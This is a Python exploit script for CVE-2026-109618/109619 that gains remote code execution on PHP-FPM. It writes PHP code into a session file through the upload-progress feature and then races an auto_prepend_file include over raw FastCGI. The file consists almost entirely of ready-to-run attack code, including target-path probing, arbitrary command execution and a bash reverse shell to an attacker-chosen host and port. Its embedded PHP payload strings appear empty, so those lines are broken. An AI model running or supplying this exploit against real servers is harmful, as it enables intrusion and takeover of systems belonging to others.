#!/usr/bin/env python3 """ CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI) Combines the PHP session upload progress write primitive with direct FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no special PHP configuration needed. Attack chain: 1. FastCGI multipart POST to any .php file on the target FPM pool: PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into /sess_. The request body is dripped slowly via FastCGI STDIN so the session file persists for seconds (the multipart parser blocks until STDIN EOF). 2. While worker A is blocked on our slow drip, a second FastCGI request goes to worker B: SCRIPT_FILENAME = PHP_VALUE = auto_prepend_file = /sess_ PHP includes the session file before running the script. Our PHP code executes. Why this works on default config: - session.upload_progress.enabled=1 (default) - session.save_path=/tmp (common default) - auto_prepend_file is settable via PHP_VALUE in FastCGI params - security.limit_extensions only restricts SCRIPT_FILENAME, not files loaded via auto_prepend_file - No application vulnerability needed - Requires pm.max_children >= 2 (default is 5 for dynamic mode) Preconditions: - Network access to PHP-FPM (TCP socket or unix socket) - At least one .php file exists on the server - session.upload_progress.enabled=1 (default) - pm.max_children >= 2 (default) When is FPM reachable: - Docker: official PHP-FPM images listen on TCP 9000 - Kubernetes: FPM pods addressable from adjacent pods - SSRF: another app on the same host can reach FPM - Same-host: unix socket /run/php/php-fpm.sock - Exposed port: firewall misconfiguration Usage: # Direct FastCGI (drip race, most reliable) python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id' # Specify PHP file and session path python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\ --script-file /var/www/html/index.php \\ --session-path /tmp --cmd 'id' # Unix socket python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id' # HTTP poison + FastCGI execute (when FPM not directly reachable # for uploads, but reachable for execution) python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id' # Reverse shell python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\ --lhost 10.0.0.1 --lport 4444 """ import argparse import base64 import os import re import socket import struct import sys import threading import time from urllib.parse import urlparse # ── FastCGI protocol ────────────────────────────────────────────────── FCGI_VERSION_1 = 1 FCGI_BEGIN_REQUEST = 1 FCGI_END_REQUEST = 3 FCGI_PARAMS = 4 FCGI_STDIN = 5 FCGI_STDOUT = 6 FCGI_STDERR = 7 FCGI_RESPONDER = 1 def fcgi_record(rtype, request_id, content): clen = len(content) pad = (8 - (clen % 8)) % 8 return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype, request_id, clen, pad) + content + b"\x00" * pad) def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0): return fcgi_record(FCGI_BEGIN_REQUEST, request_id, struct.pack(">HBxxxxx", role, flags)) def fcgi_nv(name, value): nlen = len(name) vlen = len(value) out = b"" if nlen < 128: out += struct.pack("B", nlen) else: out += struct.pack(">I", nlen | 0x80000000) if vlen < 128: out += struct.pack("B", vlen) else: out += struct.pack(">I", vlen | 0x80000000) return out + name + value def fcgi_params(request_id, params_dict): body = b"" for k, v in params_dict.items(): body += fcgi_nv(k.encode(), v.encode()) return (fcgi_record(FCGI_PARAMS, request_id, body) + fcgi_record(FCGI_PARAMS, request_id, b"")) def fcgi_stdin_eof(request_id): return fcgi_record(FCGI_STDIN, request_id, b"") def fcgi_parse_stdout(data): stdout_data = b"" stderr_data = b"" pos = 0 while pos + 8 <= len(data): _, rtype, _, clen, pad = struct.unpack( ">BBHHBx", data[pos:pos+8]) content = data[pos+8:pos+8+clen] pos += 8 + clen + pad if rtype == FCGI_STDOUT: stdout_data += content elif rtype == FCGI_STDERR: stderr_data += content elif rtype == FCGI_END_REQUEST: break return stdout_data, stderr_data # ── FPM connection ──────────────────────────────────────────────────── def fpm_connect(fpm_addr, timeout=10): if "/" in fpm_addr or fpm_addr.endswith(".sock"): sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect(fpm_addr) return sock if ":" in fpm_addr: host, port = fpm_addr.rsplit(":", 1) port = int(port) else: host = fpm_addr port = 9000 return socket.create_connection((host, port), timeout=timeout) def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10): """Send GET request to FPM with auto_prepend_file.""" params = { "SCRIPT_FILENAME": script_filename, "SCRIPT_NAME": "/" + os.path.basename(script_filename), "REQUEST_METHOD": "GET", "SERVER_SOFTWARE": "go / fcgiclient", "REMOTE_ADDR": "127.0.0.1", "SERVER_ADDR": "127.0.0.1", "SERVER_PORT": "80", "SERVER_PROTOCOL": "HTTP/1.1", "CONTENT_TYPE": "", "CONTENT_LENGTH": "0", "DOCUMENT_ROOT": os.path.dirname(script_filename), "REQUEST_URI": "/" + os.path.basename(script_filename), "PHP_VALUE": f"auto_prepend_file = {prepend_file}", } request_id = 1 payload = fcgi_begin_request(request_id) payload += fcgi_params(request_id, params) payload += fcgi_stdin_eof(request_id) sock = fpm_connect(fpm_addr, timeout) sock.sendall(payload) resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(65536) if not d: break resp += d except socket.timeout: pass sock.close() stdout_data, stderr_data = fcgi_parse_stdout(resp) if b"\r\n\r\n" in stdout_data: _, body = stdout_data.split(b"\r\n\r\n", 1) return body, stderr_data return stdout_data, stderr_data # ── Multipart helpers ───────────────────────────────────────────────── def mp_field(bnd, name, value): return (b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n' b"\r\n" + value + b"\r\n") # ── Direct FastCGI slow-drip race ───────────────────────────────────── def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code, session_paths, marker, drip_time=10, timeout=30): """All-FastCGI attack: drip multipart to worker A, execute on worker B. Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The multipart body contains a file upload whose content is dripped byte by byte, keeping the FPM worker in the multipart parser (which keeps the session file on disk) for the entire drip_time. Thread B repeatedly sends FastCGI GET requests with auto_prepend_file pointing to the session file, racing to include it while worker A holds it open. """ bnd = b"FCGIRACE" + os.urandom(4).hex().encode() found = {"body": None, "path": None} # Build the multipart body prefix: progress field + file header body_prefix = b"" body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code) body_prefix += ( b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" ) # The suffix that closes the file part and the multipart body_suffix = b"\r\n--" + bnd + b"--\r\n" # Calculate total Content-Length (we need to declare it upfront) # The file content will be dripped: we'll send drip_bytes of padding drip_bytes = 1024 * 64 total_body = len(body_prefix) + drip_bytes + len(body_suffix) # ── Thread B: racer ── def racer(): deadline = time.time() + timeout attempt = 0 while time.time() < deadline and found["body"] is None: for sp in session_paths: if found["body"] is not None: return sess_file = f"{sp}/sess_{sid}" attempt += 1 try: body, _ = fpm_execute(fpm_addr, script_file, sess_file, timeout=3) if marker.encode() in body: found["body"] = body found["path"] = sess_file return except Exception: pass time.sleep(0.005) # ── Thread A: slow drip ── fcgi_params_dict = { "SCRIPT_FILENAME": script_file, "SCRIPT_NAME": "/" + os.path.basename(script_file), "REQUEST_METHOD": "POST", "SERVER_SOFTWARE": "go / fcgiclient", "REMOTE_ADDR": "127.0.0.1", "SERVER_ADDR": "127.0.0.1", "SERVER_PORT": "80", "SERVER_PROTOCOL": "HTTP/1.1", "CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}", "CONTENT_LENGTH": str(total_body), "DOCUMENT_ROOT": os.path.dirname(script_file), "REQUEST_URI": "/" + os.path.basename(script_file), "HTTP_COOKIE": f"PHPSESSID={sid}", } request_id = 1 header = fcgi_begin_request(request_id) header += fcgi_params(request_id, fcgi_params_dict) # Send headers + body prefix as first STDIN record first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix) sock = fpm_connect(fpm_addr, timeout=timeout) sock.sendall(header + first_stdin) # Small delay to let FPM start processing and write session file time.sleep(0.2) # Start the racer race_thread = threading.Thread(target=racer, daemon=True) race_thread.start() # Drip file content slowly drip_interval = drip_time / (drip_bytes // 64) sent = 0 while sent < drip_bytes and found["body"] is None: chunk = b"\x00" * min(64, drip_bytes - sent) try: sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk)) sent += len(chunk) except (BrokenPipeError, ConnectionResetError, OSError): break time.sleep(drip_interval) # Send suffix + STDIN EOF try: sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix)) sock.sendall(fcgi_stdin_eof(request_id)) except: pass # Read response (cleanup) sock.settimeout(3) try: while True: d = sock.recv(8192) if not d: break except: pass sock.close() race_thread.join(timeout=5) return found["body"], found["path"] # ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ────────────────── def _parse_url(url): p = urlparse(url) tls = p.scheme == "https" host = p.hostname or "127.0.0.1" port = p.port or (443 if tls else 80) path = p.path or "/" return host, port, tls, path def tcp_connect(host, port, tls=False, timeout=30): sock = socket.create_connection((host, port), timeout=timeout) if tls: import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) return sock def recv_all(sock, timeout=10): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def send_chunk(sock, data): sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n") # ── Script discovery ────────────────────────────────────────────────── SCRIPT_CANDIDATES = [ "/var/www/html/index.php", "/var/www/html/wp-login.php", "/var/www/html/wp-cron.php", "/var/www/html/xmlrpc.php", "/var/www/public/index.php", "/var/www/app/public/index.php", "/var/www/html/info.php", "/srv/http/index.php", "/usr/share/phpmyadmin/index.php", "/usr/local/lib/php/pearcmd.php", ] SESSION_PATHS = [ "/tmp", "/tmp/php-sessions", "/var/lib/php/sessions", "/var/lib/php5/sessions", "/var/lib/php/sess", ] def find_php_script(fpm_addr, candidates, timeout=3): """Probe FPM to find an existing .php file.""" for path in candidates: try: params = { "SCRIPT_FILENAME": path, "REQUEST_METHOD": "GET", "SERVER_SOFTWARE": "probe", "REMOTE_ADDR": "127.0.0.1", "SERVER_ADDR": "127.0.0.1", "SERVER_PORT": "80", "SERVER_PROTOCOL": "HTTP/1.1", "CONTENT_TYPE": "", "CONTENT_LENGTH": "0", } request_id = 1 payload = fcgi_begin_request(request_id) payload += fcgi_params(request_id, params) payload += fcgi_stdin_eof(request_id) sock = fpm_connect(fpm_addr, timeout) sock.sendall(payload) resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(65536) if not d: break resp += d except socket.timeout: pass sock.close() stdout, _ = fcgi_parse_stdout(resp) if b"Primary script unknown" not in stdout and len(stdout) > 0: return path except: continue return None # ── main ────────────────────────────────────────────────────────────── def run(args): fpm_addr = args.fpm sid = args.session_id or os.urandom(16).hex() marker = "FCGIRCE" spaths = list(SESSION_PATHS) if args.session_path: spaths = [args.session_path] + [s for s in spaths if s != args.session_path] if args.cmd: cmd_b64 = base64.b64encode(args.cmd.encode()).decode() php_code = ( f'' ).encode() elif args.lhost and args.lport: shell = (f"bash -c 'bash -i >& " f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'") cmd_b64 = base64.b64encode(shell.encode()).decode() php_code = f''.encode() elif args.trigger_only: php_code = ( f'' ).encode() else: print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr) sys.exit(1) print("=" * 65) print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)") print("=" * 65) print(f" FPM address : {fpm_addr}") print(f" Session ID : {sid}") print(f" Drip time : {args.drip_time}s") if args.cmd: print(f" Command : {args.cmd}") elif args.lhost: print(f" Reverse sh : {args.lhost}:{args.lport}") else: print(f" Trigger-only") print() # ── Step 0: find a .php script ── print("[*] Step 0: probing PHP-FPM for an existing .php file...") script_file = args.script_file if not script_file: script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES) if script_file: print(f" Found: {script_file}") else: print(" [!] No .php file found. Use --script-file.") sys.exit(1) else: print(f" Using: {script_file}") # ── Step 1+2: poison via slow drip + race execution ── print(f"[*] Step 1+2: slow-drip poison + race execution...") print(f" Dripping multipart body over {args.drip_time}s " f"while racing auto_prepend_file...") body, path = poison_and_execute_fcgi( fpm_addr, script_file, sid, php_code, spaths, marker, drip_time=args.drip_time, timeout=args.drip_time + 10) if body: print(f" [+] RCE confirmed via {path}") output = body.decode(errors="replace") m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL) if m: print() print(m.group(1)) else: print() print(output) return True else: print(" [!] Race did not succeed.") print(" Possible causes:") print(" - pm.max_children < 2 (need at least 2 workers)") print(" - session.upload_progress.enabled = 0") print(" - Incorrect session.save_path (try --session-path)") print(" - Try increasing --drip-time") return False def main(): p = argparse.ArgumentParser( description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)") p.add_argument("--fpm", required=True, help="PHP-FPM address (host:port or /path/to/socket)") p.add_argument("-t", "--target", help="HTTP URL (optional, for HTTP+FCGI mixed mode)") p.add_argument("--script-file", help="Existing .php file on target (auto-detected)") p.add_argument("--session-path", help="session.save_path override") p.add_argument("--session-id", help="Force session ID (default: random)") p.add_argument("--cmd", help="Command to execute") p.add_argument("--lhost", help="Reverse shell host") p.add_argument("--lport", type=int, help="Reverse shell port") p.add_argument("--trigger-only", action="store_true", help="Verify RCE without running a payload") p.add_argument("--drip-time", type=int, default=10, help="Seconds to drip the upload body (default: 10)") sys.exit(0 if run(p.parse_args()) else 1) if __name__ == "__main__": main()